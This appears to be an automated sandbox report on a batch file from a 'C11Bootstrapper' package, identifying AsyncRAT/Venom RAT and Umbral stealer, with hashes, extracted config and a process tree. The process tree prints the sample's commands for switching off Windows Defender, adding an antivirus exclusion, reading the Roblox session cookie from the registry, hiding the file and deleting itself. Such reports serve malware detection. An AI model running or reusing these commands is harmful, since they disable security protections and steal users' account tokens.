Analysis

  • max time kernel
    1795s
  • max time network
    1172s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-04-2024 20:32

General

  • Target

    C11Bootstrapper/Properties/IndependenciesInstallation.bat

  • Size

    489B

  • MD5

    d8da01fb6f6288b044868f85228cbb10

  • SHA1

    9d08c813ce59ab863c6ec3c68c336eed265c5e8a

  • SHA256

    74416d022dde876ff622038a6359907da239bbd26ceb7024f5d39dd52f16c9de

  • SHA512

    c92b83ba5513694e05cf908a747609dd6fd3c70944d04a9b8a62939f4372561e4feb567d158b0316853c50a0c241a1c8c075875746a1e538912ea91ff84c308e

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:4449

127.0.0.1:6555

127.0.0.1:0

127.0.0.1:4040

Mutex

chhphkahmfnasuyziqc

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %Temp%

aes.plain
aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Drops file in Drivers directory 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\IndependenciesInstallation.bat"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3980
    • C:\Windows\system32\timeout.exe
      timeout /t 5
      2⤵
      • Delays execution with timeout.exe
      PID:1080
    • C:\Windows\system32\timeout.exe
      timeout /t 1
      2⤵
      • Delays execution with timeout.exe
      PID:3608
    • C:\Windows\system32\timeout.exe
      timeout /t 3
      2⤵
      • Delays execution with timeout.exe
      PID:1400
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\msgbox.vbs"
      2⤵
        PID:2056
      • C:\Windows\system32\timeout.exe
        timeout /t 4
        2⤵
        • Delays execution with timeout.exe
        PID:3924
      • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\C11Setup.exe
        C11Setup.exe
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3556
      • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe
        GuiLoader.exe
        2⤵
        • Drops file in Drivers directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4708
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2328
        • C:\Windows\SYSTEM32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe"
          3⤵
          • Views/modifies file attributes
          PID:2716
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2952
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:988
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
            PID:3208
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" computersystem get totalphysicalmemory
            3⤵
              PID:2916
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic.exe" csproduct get uuid
              3⤵
                PID:2740
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3308
              • C:\Windows\System32\Wbem\wmic.exe
                "wmic" path win32_VideoController get name
                3⤵
                • Detects videocard installed
                PID:3536
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\GuiLoader.exe" && pause
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4452
                • C:\Windows\system32\PING.EXE
                  ping localhost
                  4⤵
                  • Runs ping.exe
                  PID:3440
            • C:\Users\Admin\AppData\Local\Temp\C11Bootstrapper\Properties\PageEditor.exe
              PageEditor.exe
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2324

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            9db2bc0a0bdfa296036c380393d879e6

            SHA1

            671288bb74f568effac2199c9213cf7e23a31ef9

            SHA256

            cce5cc392ad9a82edd35129076da6bb2c3ebe85e158efef8ee7740e9e722c678

            SHA512

            a1331966d5669c465ccbfbb588d8e09d295aba56be1e0bc895966da28916bdfb2e3333e24f48a54c68f3c3af0f78ec70cea1e07ec2e2647e154d7dfc4d412fc7

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            2e8eb51096d6f6781456fef7df731d97

            SHA1

            ec2aaf851a618fb43c3d040a13a71997c25bda43

            SHA256

            96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

            SHA512

            0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            948B

            MD5

            45741c307af2576c6437c5fdb24ef9ce

            SHA1

            a6ba7a7705db14ac29a18a98dd7deb4cc759c3bf

            SHA256

            7887859f7179e194ff9b78f8d8fa3830790110a01597f21ff48c84cd935e49d2

            SHA512

            39fdc5931563cbf826e8b643b5f0dcdf45bb6f95a8eeb460499257ca41b3dbee4c692eaacc3fd33bddf4b6ff0c828981ed7e9cd080007bbb9f0b28e7d0d66941

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            7332074ae2b01262736b6fbd9e100dac

            SHA1

            22f992165065107cc9417fa4117240d84414a13c

            SHA256

            baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

            SHA512

            4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lrvilvws.1jg.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

            Filesize

            8B

            MD5

            cf759e4c5f14fe3eec41b87ed756cea8

            SHA1

            c27c796bb3c2fac929359563676f4ba1ffada1f5

            SHA256

            c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

            SHA512

            c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

          • memory/988-93-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/988-91-0x000001E5270C0000-0x000001E5270D0000-memory.dmp

            Filesize

            64KB

          • memory/988-81-0x000001E5270C0000-0x000001E5270D0000-memory.dmp

            Filesize

            64KB

          • memory/988-80-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/1284-21-0x000001E38AB10000-0x000001E38AB32000-memory.dmp

            Filesize

            136KB

          • memory/1284-12-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/1284-22-0x000001E3A31F0000-0x000001E3A3200000-memory.dmp

            Filesize

            64KB

          • memory/1284-23-0x000001E3A31F0000-0x000001E3A3200000-memory.dmp

            Filesize

            64KB

          • memory/1284-26-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/2324-6-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/2324-11-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/2324-1-0x0000000000550000-0x0000000000568000-memory.dmp

            Filesize

            96KB

          • memory/2324-7-0x000000001B190000-0x000000001B1A0000-memory.dmp

            Filesize

            64KB

          • memory/2952-65-0x00000160A7E40000-0x00000160A7E50000-memory.dmp

            Filesize

            64KB

          • memory/2952-63-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/2952-78-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/2952-76-0x00000160A7E40000-0x00000160A7E50000-memory.dmp

            Filesize

            64KB

          • memory/2952-64-0x00000160A7E40000-0x00000160A7E50000-memory.dmp

            Filesize

            64KB

          • memory/3308-113-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/3308-111-0x0000022B99A20000-0x0000022B99A30000-memory.dmp

            Filesize

            64KB

          • memory/3308-109-0x0000022B99A20000-0x0000022B99A30000-memory.dmp

            Filesize

            64KB

          • memory/3308-110-0x0000022B99A20000-0x0000022B99A30000-memory.dmp

            Filesize

            64KB

          • memory/3308-108-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/3556-49-0x000000001B670000-0x000000001B680000-memory.dmp

            Filesize

            64KB

          • memory/3556-41-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/3556-2-0x0000000000790000-0x00000000007D4000-memory.dmp

            Filesize

            272KB

          • memory/3556-79-0x00007FFEC0280000-0x00007FFEC0489000-memory.dmp

            Filesize

            2.0MB

          • memory/3556-10-0x00007FFEC0280000-0x00007FFEC0489000-memory.dmp

            Filesize

            2.0MB

          • memory/3556-8-0x000000001B670000-0x000000001B680000-memory.dmp

            Filesize

            64KB

          • memory/3556-5-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4700-28-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4700-43-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4700-42-0x0000019EE48B0000-0x0000019EE48C0000-memory.dmp

            Filesize

            64KB

          • memory/4700-39-0x0000019EE48B0000-0x0000019EE48C0000-memory.dmp

            Filesize

            64KB

          • memory/4700-29-0x0000019EE48B0000-0x0000019EE48C0000-memory.dmp

            Filesize

            64KB

          • memory/4708-48-0x0000015807DE0000-0x0000015807DFE000-memory.dmp

            Filesize

            120KB

          • memory/4708-96-0x0000015807DA0000-0x0000015807DB2000-memory.dmp

            Filesize

            72KB

          • memory/4708-95-0x0000015807CF0000-0x0000015807CFA000-memory.dmp

            Filesize

            40KB

          • memory/4708-50-0x0000015806420000-0x0000015806430000-memory.dmp

            Filesize

            64KB

          • memory/4708-47-0x0000015807D50000-0x0000015807DA0000-memory.dmp

            Filesize

            320KB

          • memory/4708-46-0x0000015820840000-0x00000158208B6000-memory.dmp

            Filesize

            472KB

          • memory/4708-75-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4708-9-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4708-0-0x0000015805FC0000-0x0000015806004000-memory.dmp

            Filesize

            272KB

          • memory/4708-118-0x00007FFE9F010000-0x00007FFE9FAD2000-memory.dmp

            Filesize

            10.8MB